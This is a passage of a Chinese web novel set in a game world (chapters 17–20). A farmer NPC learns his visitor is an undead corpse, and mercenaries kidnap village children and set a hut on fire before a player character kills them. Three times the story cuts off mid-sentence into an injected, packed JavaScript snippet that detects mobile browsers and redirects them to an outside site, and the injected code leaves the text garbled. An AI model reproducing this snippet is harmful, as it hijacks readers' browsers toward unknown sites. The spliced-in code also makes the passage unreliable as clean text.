比魏尔德逃跑更令他惊奇的是,尤弥尔几乎下意识地捡起他掉落的绷带,抱住菜篮追上去。 “喂!那边是废墟,很危险!还有你的绷带!” 不是很注重颜面的吗,不要随便把用过的东西丢进他家院子啊。 垃圾分类很重要的好不好。 17.第 17 章 魏尔德拔腿飞奔。 现在尤弥尔能看出来用肢体语言代替声音的好处了,他的小腿肌肉锻炼得相当充分,简直和新安装上的差不多,刺溜一下冲出很长一段距离,尤弥尔一时半会竟然追不上他。 “魏、魏尔德!喂!你跑什么啊!” “你个路痴不要往山里跑,听见没有啦!” 可魏尔德像没听见似的,半点没有停下来的意思,尤弥尔只好咬牙往前追。 两人你逃我追,跑向树林再围着山头绕一个圈。领头的魏尔德不认路,跑进跑出都用的同一条道,两人从尤弥尔家的后院出发,跑了半天,竟然又回到原点。 “慢、慢点。”尤弥尔在后面大口喘气。 他都佩服自己。 坚持了这么久都没有甩开。 实际上他修补后院篱笆时就察觉到体力似乎变强了,如今证实不是幻觉。可尤弥尔不知道原因,不知道自己吃下王蛇蛇胆后,属性栏中的体质由2变成了3,从一个普通的农夫,变成一个忍耐力相当强的农夫。 对一个NPC来说,其中最难以理解的部分,就是他是一个能用数字量化的NPC。 尤弥尔只能归结于量变引发质变,农活做多了,自然也就变强了。 在看见红砖楼的屋顶时,魏尔德终于发现自己在做无用功,他脚步一顿,直直转向另一个方向。 尤弥尔家的隔壁。 被蓝纹王蛇砸塌的废墟。 那里已经彻底不适宜居住,承重被完全破坏,只能从残存的窗框结构和墙角看出依稀的风貌,断壁残垣,碎石瓦砾,直到现在都没有得到妥善清理。 废墟除了堆积成山的砖石之外,还有由半个屋顶和斜插的房梁构成的类似山洞一样的三角结构。魏尔德慌不择路,他跌跌撞撞爬上小山,想要卡着尤弥尔的视线死角躲进洞里。 “魏尔德,我没有伤害你的意思,你慢点跑,很危险啊。” 咔。 魏尔德已经不甚灵敏的耳朵捕捉到不妙的声响。 碎瓦层层叠叠铺就的废墟中间有许多空洞,稍不注意就会一脚踩空陷进去。刚刚的声响,就是他的左腿踩进空洞,小腿骨生生折断的声音。 面上仅剩的绷带在长时间的奔跑之下尽数脱落,露出黑洞般的口腔和唇舌,皮肤苍白,青筋毕露。 魏尔德听见尤弥尔追上来的脚步声,用手掌盖住脸,胸腔起伏发出唔唔唔的无法让人理解的字句,却能听出其中的悲伤和绝望。 逃不走。 要被看见了,他如此丑陋的模样。 。 时间倒回早上。 黄昏薄雾离开家,往海边的方向走,一路上无数目光接踵而至,或倾慕或探究,或审视或恶意,数种情感交织成细密而又令人窒息的网。 可黄昏薄雾根本不在乎。 就像人的心中很难对蝼蚁留下深刻的印象,他走到沙滩边缘,步入一栋海滨别墅,堂而皇之站在十数名佣兵之间,却连哪怕一个人的名字都叫不出来。 “那个谁,”他随手一指,“把你们老大叫出来。” 这里是佣兵团在雾钟村的基地,据说是村里的某个地主老爷主动借出的房子,再多就不知道了,黄昏薄雾一点也不关心。 “主动”、“借出”,听上去就很和平,没有任务产生的条件,自然不值得他花费心思。 这样一想他连见佣兵团团长也失去了兴趣。 什么东西!在他面前居然敢摆架子。 都不知道主动出来迎接他。 几名佣兵好说歹说劝他留下。最近他和佣兵团没少见面,本着能不放过就绝不漏掉一个的原则,黄昏薄雾会抽空和这帮NPC聊聊天,没费多少时间就刷满了佣兵们的好感度,现如今恰好是收取定期上供的时刻。 美神在上。 和尤弥尔的好感度刷取难度比起来,简直就是天堂和地狱的差别。 趁老大没来,佣兵们竞相争夺距离他身边最近的位置,纷纷拿出珍宝,献媚般堆积在黄昏薄雾面前的茶几上,任由容貌昳丽的青年挑选。 黄昏薄雾挨个看过去,满脸写着无趣:“就这些?” “珍珠,葡萄酒……也就宝石勉勉强强值点钱,” “三流货色送来的东西也是三流货色,”连个眼神都懒得施舍,他懒洋洋地翻白眼,“跟你们呆在一块真是浪费时间,情报在这,我走了。” 黄昏薄雾还是很有原则的。 名义上他和佣兵团是合作关系,他需要利用佣兵团的人数优势帮他完成任务,那他也不会吝啬在必要时刻提供线索。 没有佣兵敢拦他,他们都希望能在黄昏薄雾心中留下一个好印象,仍由他丢下一张皱巴巴的纸条,大摇大摆转身离去。 佣兵团找的是魏尔德,黄昏薄雾提供的也是关于魏尔德的线索,昨夜加嘉莉的话点醒了他,让他察觉到佣兵们的任务或许本身就存在问题。 因此纸条上写的只有一句话。 佣兵团长稍后展开纸条,读出其中内容:“城主的要求是让你们把魏尔德活着带回来,可魏尔德,真的还活着吗?” 。 早上十点。 独角兽现身的消息一夜之间传遍雾钟村。 大街小巷都在讨论八卦,绘声绘色讲述洁白神圣的独角兽来到人间,将濒死的里夫带回人间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320656|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而对于玩家。 游戏赋予玩家能够在村庄和城镇之间传送的能力,黄昏薄雾传送熔金城,在城内黑市那家坑得要死的炼金术隐秘小店补充魔药和制作箭矢的材料,他的弩箭库存快要见底了。 当然了,买肯定不可能买的,身为玩家就是要有零元购的自觉! 白嫖万岁! 海滨别墅内。 佣兵团长得到黄昏薄雾给予的情报,简短地商量后,决定派出团内的德鲁伊即刻返回熔金城,核实有关魏尔德是否活着的真相。 德鲁伊,游戏职业之一,拥有与动物对话、契约、变形的能力。 佣兵团的德鲁伊成员接到命令,和队友默契地对视后,立刻化作一只猎鹰,迅捷朝城内飞去。 下午三点。 尤弥尔出门买菜。 黄昏薄雾爬上熔金城附近最高的山,在山头开始挂机发呆。或者说,借助发呆的功夫打开游戏内置论坛,查询最新版的NPC好感度攻略。 爱情的骗子我问你,你的好感到底要怎么加。 佣兵团的德鲁伊变成一只老鼠,潜藏在城主府邸的地下水道,尽量在不触动府内的防御法阵的情况下,静悄悄地探听讯息。 下午六点。 黄昏薄雾开始手搓弩箭。 德鲁伊离开城主府,重新变成猎鹰,向东翱翔天际,为佣兵团带回最新的情报。 同时逢魔时刻,在夜幕降临之际,尤弥尔到后院采摘晚餐所需要的蔬菜。他碰见仿佛被梦魇的眼神空洞无物的魏尔德,却不小心惊扰对方,追逐后者绕过群山再回到红砖洋楼附近的废墟,在魏尔德因为踩中空洞而不得不停下脚步时,他绕过阻挡视线的墙壁和废弃衣柜,一步步走向努力想把自己藏起来的魏尔德。 本该缠满全身的绷带散落满地,和尘埃混在一起,逐渐成了一种灰败糜烂的褐色。 魏尔德的声带完全腐烂,没有办法说话,但无论是细密耸动的肩头还是仿若哭泣却流不出泪的眼睛都在说:“不要看我。” “求你了,不要看我。” 尤弥尔在他身后,手持绷带,慢慢停下脚步。 太晚了。 他想,太晚了,他从来没想过会是这样。 在魏尔德宽大而布满裂纹的指节之间,他剥落的指甲、惨白的皮肤、蛛网般蔓延的青色纹路,还有脸颊因腐烂脱落形成的空洞亦清晰得见。 尽管尤弥尔想尖叫,想欺骗自己,他想不管不顾地离开这里,回家,准备晚饭,假装一切都没发生过。 但心底有个声音一直在低声默默诉说他现在观察到的真相。 魏尔德。 其实早就死了。 18.第 18 章 魏尔德是个死人。 尤弥尔无比清晰地意识到这点。 两人之间缀着不近不远的距离,魏尔德皮肤呈现出一种不正常的青灰,从肩胛骨到后腰有几处明显不符合人体生理的凹陷,像是被什么东西硬生生勒断了骨头。 他在掩面哭泣,尤弥尔却从他的指缝之间,看见涣散的瞳孔,和一点点掉落的腐肉。 尤弥尔:“……” 啊啊啊啊啊啊啊啊—— 眼白一翻,他快要吓晕过去。 世界有神明恶魔、灵异鬼怪,这些尤弥尔都清楚,但教会从未披露具体事件内容,魔法师术师资质万里挑一,也和一个普通农夫无缘。什么吸血鬼食尸鬼狼人女妖,他都是从故事书上了解到的。 晨曦女神光辉在上,他真没想过有一天会亲身经历。 尤弥尔有点死了。 脚底仿佛生了根,尤弥尔僵硬地停留在原地,碎石瓦砾咕噜噜地从坡顶滚到坡地,他的心也咕噜咕噜翻滚不停。 过了好半天,他才有勇气打破现有的局面,喉咙颤抖几乎是气音:“别哭了,有什么我能帮你的吗?” 听见声,魏尔德抬起头,面颊腐烂的空洞直击尤弥尔的灵魂。 比划:“你不害怕?” 尤弥尔点点头,又摇摇头,眼泪汪汪:“怕,我超怕的。但脚软了,跑不了。” 魏尔德:“……” 恐惧不能解决任何问题。 尤弥尔踟蹰,废墟就在他家隔壁,那么近,万一有什么危险,加嘉莉还在家里呢。 他还是独自面对魏尔德吧。 “况且,我觉得你不像是要伤害我的样子,”尤弥尔说这话只是出于直觉,他不确定地又抬起头,“对……吧?” 魏尔德摇摇头。 那就是尽力维持友好的意思,尤弥尔松了口气。 似乎是被尤弥尔的态度感染,那股笼罩在魏尔德头顶久久不散的绝望阴云稍微开了条缝隙,他放下手掌,跪坐在废墟之上,就好像在尽力还原之前两人酒馆对坐时的闲适氛围,用肢体语言解释他逃跑的原因。 不仅仅是因为害怕尤弥尔看见他可怖的脸。 魏尔德从最初开始讲起。 城主有定期巡视领地的职责,今年,作为城主之子的魏尔德代替父亲出游各地,却在巡游快要结束时,遭遇蓝纹王蛇袭击,小队四散,成员重伤。 在他陷入黑暗的永眠的那一刻,魏尔德听见一个古老而沉重的声音。 “汝不甘吗?汝不忿吗?将汝的灵魂交给吾,将吾的躯体贯穿汝,吾将带汝重回尘世。” 贯穿了吗…… 魏尔德不记得了。 他随后睁开眼,发现自己躺在棺材中央,四下空无一人,盛放的白百合拥簇着他——他在他自己的葬礼。 再往后就说不清了。 他的记忆断断续续,每次一进入夜晚,他的身体不受控制,灵魂陷入沉眠。每次太阳升起,他属于人类的意识回归,就会发现度过夜晚的自己跑到了一个陌生的地方,可能是湖泊,可能是森林,可能是任何引起人们恐慌的地方。 好在他是城主之子,葬礼的规格极高,他笨拙地用绷带缠满全身,再用佩戴的宝石和金器换钱,求过路的商队捎带自己。他到处探寻着与自己状态相关的传说和故事,一入夜就躲进商队的箱子中。 最后跟随商队进入雾钟村。 “所以说,”尤弥尔大概听懂,“你之前在酒馆让我做饭,但是人却跑了,是因为入夜之后有东西在控制你?” “嗯嗯!”魏尔德猛点头。 尤弥尔抬头望天,夜晚如期而至,浓重的墨色即使有月光晕染也无法完全化开:“可是现在我们在对话啊。” 他摸了摸脸:“我感觉你现在挺正常的……不会是我在和你体内另一个存在对话吧?” 这次又换成猛猛摇头。 魏尔德比划:“中途被打断,我的意识,会提前回归。太阳升起,也会。” “这样啊……怪不得两次见到你,你都会逃跑。” 一次是第一次见面,一次是现在。 原来是被他打断了。 尤弥尔突然有点想笑,他想,魏尔德现在的状态大概算是僵尸吧,人类恐惧超越自然力量的僵尸,但没想到僵尸对人类也是同样。 两者见了双方都害怕得想要尖叫逃跑。 “那你为什么总是跑到我家后院?” “唔唔,啊。”魏尔德不好意思地挠挠头。比划,“因为我感觉,你院子里有东西在吸引我。” 他好像临死前听见的声音,低语着,嗫嚅着,隔着混沌的意识海听不清内容,却让他产生了一种强烈的冲动,想用什么东西狠狠捅进身体。 这念头太过阴森,他想了想,没有跟尤弥尔说。 他不该被自己卷入这可怕的复活漩涡。 “我没事了,被打断后至少今晚我不会进入之前的状态,”他尽全力表达想法,“你放心吧——让我一个人静静。” 你现在好像都不能称得上是一个人。 尤弥尔在心里默默吐槽,他也很纠结,到底是该放任魏尔德自由行走,还是通知治安官,做点什么让他良心不安但能维护大部分人安全的事,毕竟一入夜就发狂这种设定听上去很危险。 他想啊想,纠结了半天也没结果,叹了口气:“那你要不要去我家?” 魏尔德啊了一声。 “我先回去送走加嘉莉,之后你再进来,我们可以商量该怎么把你变回人类,虽然我对神秘学和神魔鬼怪一无所知,但多一个人多一份力量嘛,至少你能有个暂时落脚的地方。” 说着,他口中隐含威胁:“但如果在我去送走加嘉莉期间发现你不见了,我就立刻上报治安官,想办法通知城里的骑士大人们。” 尤弥尔提高音量:“听见了吗?” 魏尔德缓缓点头。 他顿了顿,动作透露一种缓慢而坚定的感激:“谢谢你,尤弥尔。” 尤弥尔帅气摆手。 不用客气,举手之劳罢了。 他让魏尔德藏进废墟的某个废弃的破衣柜中,随后离开这片荒凉的地带。废墟和洋楼之间隔得并不远,每栋楼之间除了院子之外还有大概十米左右的缓冲带。 他小心翼翼地爬下废墟,杜绝让自己受伤的可能性,再尽可能拖慢回家的速度,思考该用什么理由说服加嘉莉又不让她起疑,说大餐取消,她今晚得去同学家睡觉。 还有玛丽琳和黄昏薄雾。 要把魏尔德的身世告诉这两个比他靠谱的成年人吗? 越思考走得越慢,走到院子门口像过了一个世纪,他看见房屋的大门敞开着,心中突然有了一丝不祥的预感。 “啊啊啊——” 地平线传来一声女人的尖叫,随后是哭喊,“我的孩子!我的孩子不见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328238|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 这绝非个例,很快另一个苍老的声音也加入,哭诉他玩耍的孙女没能按时回家。 随之一个接一个,哭声伴随着火光,火烧云一般将天和边陲村庄连接成模糊的一片。 “加嘉莉……” 在这片由眼泪和尖叫组成的海洋中,尤弥尔推开门,满脸木然,看着空旷无人的玄关和客厅,像是预料到了结果。 过了不知多久,仿佛一瞬又或是永恒,直到火烧云行至门口,有人拍了拍尤弥尔的肩,他才机械地回头,发现那是雾钟村手持火把的村民。 拍他肩膀的人面露焦急:“尤弥尔,你家加嘉莉呢?” “不见了。” 他像是回过神来,不愿相信自己的预感:“你们谁见过加嘉莉吗?” “没有、没有。” “村里丢孩子。” “很多孩子不见了。” “我的孩子,我的孩子啊!!你去哪了?!” 七嘴八舌的声音将他吞没,尤弥尔手脚冰凉,几近窒息,他多么希望这是加嘉莉的捉迷藏游戏,但加嘉莉是个乖孩子,从不愿让他如此惊心。 火烧云是由同样丢孩子的人,以及村里青壮年自发组成的队伍。他听见有人强忍又不慎暴露的抽泣,骨骼和灵魂同时颤抖的声音,维持理智的人在讨论事端发生的理由,希望尽快找到根源。 “丢了几个?” “七八个了。” “差不多同一个时间丢的。” “孩子很乖,刚刚就在家里,肯定不是贪玩……” “那就是人为。” “他们人多,而且身手好,要不然也不会无声无息的……” 尤弥尔突然意识到了什么:“你们有谁见过佣兵团的人吗?” 火烧云安静片刻,随即乌泱泱冲向佣兵团居住的海滨别墅,在他们发现别墅已人去楼空,脚印和痕迹通向深山时,山谷的某个角落,一栋早已废弃不知多久的猎人小屋,被绑架的孩子们坐在地上,静静沉睡。 佣兵团内,往返熔金城和雾钟村的德鲁伊与另一名佣兵团成员在小屋的各个角落洒满烈酒。 他们沉默着分工合作,彼此对视后关上小屋的门,与门外的佣兵团长报告:“老大,一切正常。” “嗯,知道了。”佣兵团长说。 他们的任务目标早就死了,德鲁伊发现了雇主秘密准备的葬礼,可雇主却要求他活着。 多么可笑的任务。 但惹恼一个城主的后患无穷无尽,再说,佣兵本就以完成任务作为至高无上的准则,他不在乎人命,也不在乎死亡。 “独角兽的传说是真的吗?”佣兵团长问。 和德鲁伊一同行动的成员是团队内唯一的魔法师,他低低地嗯了一声:“我读取过村民的记忆,没人说谎,昨夜也确实有人看见过独角兽,就是太模糊了,没找到具体踪迹。” 再加上村里举行葬礼的那家莫名其妙低调了起来,魔法师去查看过,这家人都看见尸体爬出棺材。 “那很好。”佣兵团长稍一思忖便得出结论。 在雾钟村,独角兽是活的。 相传,独角兽喜爱纯洁的灵魂,它会被死亡吸引,赐予人新生。 他望向屋内。 沉睡着的孩童面容犹如天使。 如果想要任务目标复活,如果想要自己拥有复活的能力,那有什么比孩童更纯洁的事物存在呢? 19.第 19 章 寂静的森林,猎人小屋是仅有的一点火光。 佣兵团的大部分成员以两人为分队驻守在小屋五十米范围内的各个地点,例如树梢和灌木丛,他们警惕着四周可能产生的任何变化。 到目前为止风平浪静。 团队成员大部分都有在黑暗中视物的能力,猎人小屋东侧的树梢上,一名佣兵问他的队友:“老大让我们抓这么多小孩干嘛?” 他的队友是此前负责探听消息的德鲁伊,此刻维持人形和他一起躲在树上,回复道。 “杀了这些小孩,逼独角兽现身,再想办法抓它。” 佣兵嗬了声,嘀咕道:“这方法管用吗?” “不管用那你想一个,”德鲁伊不满地说,“要么任务失败,要么带人回去,就算最后没能把人带回去,搞点独角兽的血也能说明我们努力过,不至于和熔金城闹得太难看。” “再说,失败了无所谓,如果真的成功了——”德鲁伊意味深长地说,“拜托,兄弟,那可是独角兽。” 复活是无论谁都会心动的能力。 他变作老鼠,藏身在城主府地底时,亲眼见证城主之子那盛大又无人问津的葬礼,弧形穹顶描绘女神救世的美丽容颜,占据半堂的棺木摆满白色的百合、鸢尾和玫瑰,棺材门板却孤零零地躺在一旁。他观察过,棺材门板是从内推开的。 城主府的下人说,少爷是在某个晚上自己从棺材爬出,然后不发一言自行离开,也许这就是城主幻想自己儿子还活着的证据。 德鲁伊拍了拍同伴的肩膀:“总之,试试没坏处。” 两人说话的时候,下方灌木丛传来一阵不易察觉的晃动,德鲁伊示意同伴闭嘴,他变成一只猫,轻盈落地,跳到藏在灌木丛那人的肩膀上。 而后变回人形。 “啊,是你,酒馆那个小子。”他认出被他压在身下的青年的脸。 纤细、鲁莽、没有技巧。尤弥尔的反抗在他眼中和猫挠差不多,德鲁伊反剪住他的双手,抓住发髻强迫他后仰头颅,他推着尤弥尔走到猎人小屋前的空地,把尤弥尔往地上一丢。 足尖碾压他散落的金发,德鲁伊向上级报告:“老大,抓到只小雀。” “谁?” “雾钟村的村民。” 那很没有价值了,佣兵团长摆摆手:“多一个也行,把他也丢进去吧。” “真是一只漂亮的小雀。”德鲁伊轻笑。 尤弥尔张了张嘴,他很想骂人,但身后的人不轻不重地抚摸他的脖颈,仿佛在说要是敢说一句话就直接拧断他的脖子,他顿时珍惜自己的小命,闭紧嘴巴,被德鲁伊捆好手脚,再连人带衣服推进屋内。 他只看见德鲁伊银灰色的眼睛,和右手带有小鸟绒毛的戒指,随后门一关。 啪嗒,落了锁。 等到锁声也消失后,整个猎人小屋安静得如同坟墓,只有几道轻微的呼吸声。 人还活着,他能感受到,推搡趔趄吸入的灰尘令肺部不适,尤弥尔想咳嗽,又硬生生地压回肺部。 “加嘉莉,加嘉莉。”他小声地呼唤妹妹的名字。 尤弥尔在黑暗中摸索,窗户被门外的坏家伙们用纸糊上了,月光被森林切碎,再被报纸吸收,他就什么也看不见了,只能先慢慢地通过双手交替摩擦,争取手腕足够活动的空隙,足够他再从袖口掏出一把削皮用的柳叶刀,一点一点将绳索割断。 那帮佣兵太轻视他了。 轻视到都不愿意搜他的身,无论他带没带刀,有没有武器,都只是他们眼中能被随意掐死的山雀。 手腕得到自由,尤弥尔还是不敢太放肆活动,他一边小声呼喊着加嘉莉的名字,一边在屋内摸索。 小屋是很久以前的猎人们在打猎期间用以休憩的临时居所,已经废弃很久,到处都是灰尘,尤弥尔低低地呛了几声,呼吸间他闻到一股刺鼻的气味,是烈酒制成的助燃剂浇在干燥木材上散发的类似松油的味道。 他顿时明白这些雇佣兵想做什么。 他们想烧死自己,烧死加嘉莉,烧死绑来的孩子们。 想找人的心顿时变得更加急切,尤弥尔摸索的速度加快不少,终于,他摸到一缕头发。 是他早上给加嘉莉梳的双马尾。 “加嘉莉,快醒醒。”尤弥尔把胸口的薄荷油放在加嘉莉的鼻子下方,拍拍她的脸。 下一秒加嘉莉悠悠转醒,尤弥尔赶紧捂住她的嘴巴,动作轻柔。 “嘘,加嘉莉,不要说话。” “哥哥?” “对,是我。”尤弥尔轻声道,“加嘉莉很聪明,被抓走的时候知道带上门口的米袋,沿途为我留下标记。” 加嘉莉从昏迷前的记忆中恢复,很快接受现状,她没有哭,也没有叫,显得很冷静,用和尤弥尔差不多的气音说:“那哥哥怎么一个人?” “我和村里其他人分开行动,我先找到了你们,就赶过来了。”尤弥尔说,“不用担心,我给其他人也留下了标记,他们肯定很快就能赶来的。” 尤弥尔把加嘉莉拉到猎人小屋的角落。 通常来讲,附近地带的人打猎时都会带上猎犬,猎犬既要承担捕猎的职责,在晚上过夜时还要负责守夜,所以猎人小屋一般都有个供猎犬进出的洞口,不了解它的人肯定不知道。 这栋猎人小屋的进入出口被一堆杂物挡住,尤弥尔花费了一小段时间才在保证不发出动静的情况下清理干净,他指了指洞口,又摸了摸加嘉莉的头,把水果刀交给加嘉莉。 “如果我们等不到救援,我就去前面吸引注意力,你从这里离开。” 他一字一顿地叮嘱加嘉莉:“记住,一定要用尽全力向前跑,去找玛丽琳,去找村子里的人,我等你带人回来救我们。” 加嘉莉忽然紧紧抱住他,聪慧此刻显得无比残忍,权衡利弊后大脑告诉她,哥哥说的是最优解,但那意味着她要将他抛下。 “我知道了,哥哥。” “乖啊,别怕。” 尤弥尔假设的只是最坏情况,最好的结果是在佣兵团的人点火之前,救援的大部分就能赶到,他们把佣兵团打得落花流水哭喊爹娘,然后他们就能顺利逃出生天。 但事实是村里的警备力量大概率连一个佣兵都打不过,他们也无法在佣兵团点火前赶来。 窗户纸上映着点点朦胧的火光,隔着一层厚厚的墙板,尤弥尔都能听见火焰在木棒上燃烧的噼里啪啦的声音。 要吸引他们的注意,给加嘉莉制造出逃走的契机。 尤弥尔一遍又一遍给自己打气,但恐惧不分年龄,他自己都分不清那句“别怕”是给自己说的还是给加嘉莉说的,颤抖的手拍响门扉:“放我出去!” “快放我出去!” “你们抓我做什么?!是要烧死我吗?我们村的人是不会放过你们的,城里的骑士大人们也是不会放过你们的!” “吵死了。”门口的声音说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340366|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那隐约是个身背双刀的高大男人,从声音听得出来是佣兵团的团长,尤弥尔看不清他的脸,只能从门口的缝隙看见一团燃烧的火光。 明明酒馆第一次见面时会微笑着调停玛丽琳和佣兵团之间的关系,现在说出的话却恶意尖锐到尤弥尔觉得自己坠入冰洞:“呵呵,不放过又怎么样。” “小朋友,你要认识到,这个世界每条人命的价值是不同的,有的命昂贵,有的命低贱。我们佣兵所做的,就是度量每条性命孰轻孰重,择优选择。” 佣兵团长说:“你觉得你的命很值钱,还是你觉得你们村的人很值钱?” 余光里,加嘉莉猫着腰,蹑手蹑脚撬开了小门早已生锈的锁。 尤弥尔深呼吸:“女神在上,于苍穹注视你的罪孽。” 佣兵团长:“那就让女神看着好了,如果祂觉得我做的不对,那纯洁的独角兽就不必现身。” 仿佛是觉得说这些话已经给了将死之人足够的体面,佣兵团长挥了挥手,手中火把顿时点燃整座小屋,火光中什么也看不清,炙烫的烟滚向来世。 加嘉莉顺势从狗洞跑出去。 奔向自由的风从洞口传来,尤弥尔狠狠心,用脖子上的薄荷油吊坠挨个唤醒剩下的孩子。之前他没叫醒他们就是担心会有不必要的哭闹引来佣兵的注意,此时也顾不得什么了。 火势蔓延得极快,往往是孩子们一睁眼,就被燎到天花板的火舌吓得哭出声,但尤弥尔没有耐心哄了,他的动作粗暴,把孩子往狗洞一塞,指令只有一个字。 “跑!” 跑吧,跑得越远越好,跑向自由便好。 跑的人越多,加嘉莉就越安全,跑得动静越大,他就越容易被发现。 只有他一个人跑不出去,狗洞太小了,不足以支撑一个成年人钻过去。 这也是没办法的事,人生总不能事实如意,尤弥尔坐在地板上,呼出一口夹杂尘埃仿佛要灼伤他的炽热呼吸,没有怨恨,没有悲伤,他只是无比平静地接受了事实。 好可怜啊。 明明逃出去,却很有可能被追回的孩子们。 还有佣兵。 明明是人类,却被庞大的欲念吞噬,抛却人性和理性,傲慢到自比为神去度量每一条生命的价值。 都好可怜啊。 尤弥尔的面容死灰般轻柔,任由火舌吞掉他的一小截头发,他闭上眼睛,嘴唇是没有血色的苍白暗淡,浑身散发一种接受命运的冷淡。 突然,有个声音在耳边响起。 它是那么的温柔、甜腻、仿佛不是在火场,而是在玫瑰花丛中,用向心爱的人表白的语气。 “——尤弥尔,呼吸很困难吧,你困了吗?” 黄昏薄雾笑着说。 他突兀地穿到房间中,衣服沾染血迹,利用在尤弥尔身边复活的规则跨越无数层层叠叠的空间,将世界的基本法则在脚底碾碎。 手里有一只坚硬的长角,沾满鲜血又仿佛饮尽鲜血,尖端还有一只被戳爆的眼珠,隐约可见扩张涣散的银灰色。 黄昏薄雾手里把玩着他的战利品,他的玩具,一个用鸟羽点缀的戒指,他像是没有看见摇摇欲坠的天花板和焦黑的墙壁、付之一炬的陶瓷器皿,用玩乐的语气再一次询问。 “尤弥尔,你困了吗?” “困了就快睡吧。”黄昏薄雾摸了摸他烧焦的发尾。 他轻轻说:“等睡醒,他们就全死了。” 20.第 20 章 尤弥尔已经被烧得意识不清了。 一种近乎是夕阳的潮红在他脸上蔓延开,他迷迷瞪瞪地睁开眼,靠在黄昏薄雾怀中,为自己选择了一个舒服的姿势。 “哇,拥抱诶!这可是尤弥尔主动的拥抱。”黄昏薄雾开心得冒泡泡,“好幸福。” 尤弥尔:“……” 他其实想说的是“你快走”,或者是“你别开玩笑了”,但大概是脑子被烧坏得差不多,脱口而出变成了:“黄昏……你怎么在这?” “我只是去城里做了些补给,没想到回到村子就发现你人不见了,”黄昏薄雾语气微扬,控诉道,“说好的等我一起吃饭呢!我回来家里一个人也没有,害得我大晚上还得来找你,狗游戏都不给设置小地图,忙活半天不说也没有任务可接,真会给人添麻烦啊尤弥尔,下次我一定在你身上绑上追踪魔法。” 嘀嘀咕咕说了一大堆,尤弥尔听不清。 他只听见黄昏薄雾说的晚餐,似乎被他搅合得失约了,喃喃道:“对不起。” “光道歉就够了吗尤弥尔?不吃饭我可是会饿死的。” 然而除却意识不清后,他的身体机能开始出现问题,入目仅剩下一片触目惊心的红,明明深陷火场,他却觉得一股锥心刺骨的严寒从四肢百骸逐渐灌入心脏,强烈的幻冻只够他用猫爪般的力道推了推黄昏薄雾,低声催促道:“出去。” “尤弥尔让我走呢,”再贪恋拥抱的温暖也不得不妥协,黄昏薄雾道,“好吧好吧,谁叫我是个正直的好人,走就走。” 能轻易烧死NPC的火焰对于玩家而言不过是游戏的一种手段,那些灼热的火舌比起伤害更像是恐吓,他背起尤弥尔,仿佛天鹅一般轻巧绕过轰然倒塌的房梁,再猛踹开房门。 “嗨。” 黄昏薄雾向外打招呼道。 尤弥尔彻底昏迷过去,这像撕下了黄昏薄雾最后一块遮羞布,露出他玩世不恭又残忍的本来面貌。 门外乌泱泱一群人,所有佣兵都聚集在这,黄名变红名,盟友变敌对,齐齐抬手用武器对准他。 “哎呀哎呀,大家何必这么凶,看上去恨不得把我碎尸万段的样子,我也没干什么啊,”黄昏薄雾说,“我就只是当着你们的面干掉了德鲁伊而已。” “为此我还特意换了装备。”他亮了亮脚下的【冒险者之靴】,这是进入游戏最初的装备,不加任何属性,但至少不会减去潜行概率,方便他偷袭杀//人,一击毙命。 对面几人的眼神凶恶又震惊,仿佛要吃了他。 “都怪你,黄昏薄雾507,你这个贱人,”某个佣兵怨毒地看着他,“为什么,为什么要背叛我们?” “那可是独角兽啊。” “我们共享永生不好吗?” 闻言,黄昏薄雾只是厌烦地捂住耳朵,慢条斯理地说:“首先,我想做什么就做什么,用不着别人对我指手画脚。” “其次,如果真的有永生,那也该是我一个人独享,和你们这帮废物有什么关系?” “最后,要打就打,磨磨唧唧的,是男人就别说这么多废话。” 他轻而易举挑起了佣兵的火气,或许背叛最容易激起NPC的黑化,一个二个的神情恨不得咬死他,但黄昏薄雾显然不介意,也无所畏惧,或者说让他把蝼蚁的想法放在心上才是奇怪的事情。 夜晚的风撩起火焰的裙摆。 双方战斗一触即发。 结束战斗的方式有很多种,黄昏薄雾只是在纠结用哪一种。 他站在原地想了想,就在手里的角蠢蠢欲动的时候,他注意到不远处草丛悉悉索索的声音。 那声音显然不是来自佣兵团,他饶有兴致地观望,只见森林之中隐隐绰绰,黑暗深浅不一,从一团漆黑的影子中,走出一个脸色灰败腐烂途中早已死去的人。 “放了尤弥尔,”那个人看了眼被放置在空地的昏迷的尤弥尔,下定决心,“无论你们让我做什么,我都会去做的。” 他的出现在佣兵团内惊起此起彼伏的呼喊:“少爷!”、“魏尔德少爷!” “原来您真的死了……” 绷带男。 或者说,魏尔德。 “哈?搞了半天原来你就是魏尔德,早知道就不接这个任务了,”谁知道魏尔德就是老出现在尤弥尔身边想偷家的那个绷带男啊。 